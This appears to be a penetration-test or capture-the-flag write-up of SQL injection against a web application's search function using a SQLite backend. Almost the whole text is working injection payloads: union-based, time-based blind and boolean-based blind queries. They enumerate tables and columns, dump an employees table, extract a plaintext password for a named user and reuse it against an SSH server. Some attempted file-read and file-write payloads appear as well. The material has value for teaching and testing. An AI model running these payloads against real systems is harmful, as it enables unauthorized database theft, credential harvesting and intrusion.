SQLi
SQL injection vulnerability has been identified in the search function of the target web application.
Union-based In-band
The column count is 4. All 4 columns are reflected.
' UNION SELECT 1,sqlite_version(),sqlite_source_id(),4 FROM sqlite_master -- -
The backend database is SQLite This was identified after many trials and errors with an assumption of the backend DB being either MySQL or MSSQL
As the name suggest, SQLite is a lightweight relational database with limited functions.
Database Structure (Tables) (Union-based In-band)
' UNION SELECT 1,name,3,4 FROM pragma_database_list -- //
In SQLite, the concept of “databases” works differently than in MySQL or PostgreSQL. By default, SQLite operates with a single database (usually referred to as main
), but it can also have attached databases (like secondary .db
files).
````
' UNION SELECT 1,sql,3,4 FROM sqlite_master -- -
Database Structure (Tables)
' UNION SELECT 1,tbl_name,3,4 FROM sqlite_master WHERE type='table' -- -
Tables
emplyees
and emps
tables notably stand out.
emplyees
Table (Union-based In-band)
' UNION SELECT 1,name,3,4 FROM PRAGMA_TABLE_INFO('employees') -- -
A total of 4 columns exists within the emplyees
table;
id
first_name
last_name
password
emplyees
Table Dump (Union-based In-band)
' UNION SELECT id,first_name,last_name,password FROM employees -- -
' UNION SELECT * FROM employees -- -
A single entry in the employees
table.
Jeff Hills
user with a password in the Mathsisfun123
.
Validating the credential against the target SSH server.
emps
Table (Union-based In-band)
' UNION SELECT 1,GROUP_CONCAT(name),3,4 FROM PRAGMA_TABLE_INFO('emps') -- -
A total of 10 columns exists within the emplyees
table;
id
first_name
last_name
birth_date
address
postcode
city
state
country
hidden
These are the same employees shown in the index.php
page.
File Read (Union-based In-band)
File read is only possible If load_extension or readfile() is Enabled.
' UNION SELECT 1,sqlite3_load_extension('C:\Windows\win.ini'),3,4 -- //
' UNION SELECT 1,load_extension('C:\Windows\win.ini'),3,4 -- //
' UNION SELECT 1,readfile('C:\Windows\win.ini'),3,4 -- //
None of them are enabled. File read is not possible.
File Write (Union-based In-band)
writefile() must be enabled.
SELCET writefile('<FILE_NAME>',<CONTENT>);
Webroot directory has not been identified. Cannot verify the write operation.
Error-based In-band
Given the SQL error is not visible,Error-based_SQLi is not possible.
Time-based Blind
Affirmational hang for a few seconds
' AND (SELECT CASE WHEN sqlite_version() LIKE '3%' THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN sqlite_version()='3.28.0' THEN RANDOMBLOB(1e8) END) -- -
SQLite version is 3.28.0
.
' AND (SELECT 1 FROM pragma_database_list WHERE (LIKE('m%',name) AND RANDOMBLOB(100000000))) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM pragma_database_list WHERE name='main' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
There is a DB; main
.
Tables (Time-based Blind)
' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE type='table' AND tbl_name LIKE 'e%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE tbl_name='emps' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
emps
table
' AND (SELECT CASE WHEN (SELECT 1 FROM sqlite_master WHERE tbl_name='employees' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
employees
table.
emplyees
Table (Time-based Blind)
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'pass%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='password' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
employees.password
column.
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'first%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='first_name' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'last%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='last_name' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
first_name
and last_name
columns.
emplyees
Table Dump (Time-based Blind)
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name LIKE 'J%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
Firstname is Jeff
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name LIKE 'h%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name LIKE 'hills%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE last_name='Hills' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
case sensitive
Lastname is Hills
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password LIKE 'Ma%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password LIKE 'Mathsisfun1%' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
' AND (SELECT CASE WHEN (SELECT 1 FROM employees WHERE first_name='Jeff' AND last_name='Hills' AND password='Mathsisfun123' LIMIT 1) THEN RANDOMBLOB(1e8) END) -- -
Password is Mathsisfun123
Validating the credential against the target SSH server.
Boolean-based Blind
- Page loads normally for affirmation.
- Blank/error page for false.
' AND (SELECT sqlite_version() LIKE '3%') -- -
' AND (SELECT sqlite_version()='3.28.0') -- -
3.28.0
' AND (SELECT name LIKE 'm%' FROM pragma_database_list) -- -
' AND (SELECT name='main' FROM pragma_database_list) -- -
main
DB
Tables (Boolean-based Blind)
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE type='table' AND tbl_name LIKE 'e%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE tbl_name='employees' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE tbl_name='emps' LIMIT 1) -- -
employees
and emps
tables
employees
Table (Boolean-based Blind)
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'pass%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='password' LIMIT 1) -- -
employees.password
column.
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'first%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='first_name' LIMIT 1) -- -
employees.first_name
column.
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name LIKE 'last%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM PRAGMA_TABLE_INFO('employees') WHERE name='last_name' LIMIT 1) -- -
employees.last_name
column.
emplyees
Table Dump (Boolean-based Blind)
' AND EXISTS (SELECT 1 FROM employees WHERE first_name LIKE 'J%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE first_name='Jeff' LIMIT 1) -- -
Firstname is Jeff
' AND EXISTS (SELECT 1 FROM employees WHERE last_name LIKE 'H%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE last_name='Hills' LIMIT 1) -- -
Lastname is Hills
' AND EXISTS (SELECT 1 FROM employees WHERE password LIKE 'M%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE password LIKE 'Mathsisf%' LIMIT 1) -- -
' AND EXISTS (SELECT 1 FROM employees WHERE password='Mathsisfun123' LIMIT 1) -- -
Password is Mathsisfun123
Validating the credential against the target SSH server.